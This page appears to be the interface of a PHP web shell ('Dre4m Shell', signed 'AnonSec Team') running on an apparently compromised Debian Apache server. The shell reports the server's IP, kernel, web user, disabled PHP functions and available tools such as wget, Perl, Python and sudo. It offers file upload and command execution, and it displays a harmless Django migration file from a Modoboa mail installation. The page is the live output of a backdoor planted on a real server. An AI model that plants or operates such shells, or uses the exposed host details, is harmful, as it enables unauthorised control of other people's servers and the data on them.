Dre4m Shell
Server IP : 85.214.239.14  /  Your IP : 3.147.74.147
Web Server : Apache/2.4.62 (Debian)
System : Linux h2886529.stratoserver.net 4.9.0 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.18
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/lib/migrations/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /srv/modoboa/env/lib64/python3.5/site-packages/modoboa/lib/migrations/0002_rename_parameters.py
from django.db import models, migrations

APPLICATIONS = [
    ("admin", "modoboa_admin"),
    ("amavis", "modoboa_amavis"),
    ("limits", "modoboa_admin_limits"),
    ("postfix_autoreply", "modoboa_postfix_autoreply"),
    ("postfix_relay_domains", "modoboa_admin_relaydomains"),
    ("radicale", "modoboa_radicale"),
    ("stats", "modoboa_stats"),
    ("sievefilters", "modoboa_sievefilters"),
    ("webmail", "modoboa_webmail"),
]

def rename_app_parameters(app, model):
    """Rename all parameters for a given app."""
    qset = model.objects.filter(name__startswith=app[0])
    for param in qset:
        param.name = param.name.replace(
            "{}.".format(app[0]), "{}.".format(app[1])
        )
        param.save()


def rename_parameters(apps, schema_editor):
    """Rename old parameters."""
    Parameter = apps.get_model("lib", "Parameter")
    UserParameter = apps.get_model("lib", "UserParameter")
    for app in APPLICATIONS:
        rename_app_parameters(app, Parameter)
        rename_app_parameters(app, UserParameter)


class Migration(migrations.Migration):

    dependencies = [
        ('lib', '0001_initial'),
    ]

    operations = [
        migrations.RunPython(rename_parameters)
    ]

Anon7 - 2022
AnonSec Team